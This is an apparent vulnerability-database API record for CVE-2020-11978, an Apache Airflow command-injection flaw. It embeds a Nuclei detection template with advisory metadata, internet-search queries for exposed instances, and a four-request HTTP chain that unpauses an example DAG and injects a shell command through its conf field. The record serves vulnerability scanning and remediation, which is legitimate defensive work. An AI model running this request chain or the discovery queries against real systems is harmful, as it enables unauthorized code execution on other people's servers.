{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-11978/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-11978/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-11978/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-11978/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-11978/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-11978"},"sightings":{"href":"/api/v1/sightings/cve-2020-11978"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-11978.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2020-11978\n\ninfo:\n  name: Apache Airflow <=1.10.10 - Remote Code Execution\n  author: pdteam\n  severity: high\n  description: Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.\n  reference:\n    - https://github.com/pberba/CVE-2020-11978\n    - https://twitter.com/wugeej/status/1400336603604668418\n    - https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-11978\n    - http://packetstormsecurity.com/files/174764/Apache-Airflow-1.10.10-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2020-11978\n    cwe-id: CWE-78\n    epss-score: 0.99189\n    epss-percentile: 0.99933\n    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: apache\n    product: airflow\n    shodan-query:\n      - title:\"Airflow - DAGs\" || http.html:\"Apache Airflow\"\n      - http.title:\"airflow - dags\" || http.html:\"apache airflow\"\n      - http.title:\"sign in - airflow\"\n      - product:\"redis\"\n    fofa-query:\n      - title=\"sign in - airflow\"\n      - apache airflow\n      - title=\"airflow - dags\" || http.html:\"apache airflow\"\n    google-query:\n      - intitle:\"sign in - airflow\"\n      - intitle:\"airflow - dags\" || http.html:\"apache airflow\"\n  tags: cve2020,cve,packetstorm,apache,airflow,rce,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /api/experimental/test HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n      - |\n        GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n      - |\n        POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: application/json\n\n        {\"conf\": {\"message\": \"\\\"; touch test #\"}}\n      - |\n        GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_4, \"operator\":\"BashOperator\")'\n          - 'contains(header_4, \"application/json\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: exec_date\n        group: 1\n        regex:\n          - '\"execution_date\":\"([0-9-A-Z:+]+)\"'\n        internal: true\n        part: body\n# digest: 4a0a004730450220499f8791bd851fe671e160021cae5896eb4fef568b431a8befe8e2264dff20a6022100f7d73d688f6301faea94fd7c60e9aa8af6bb18ddf04234d9b79a81ffc1a638c1:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-11978"}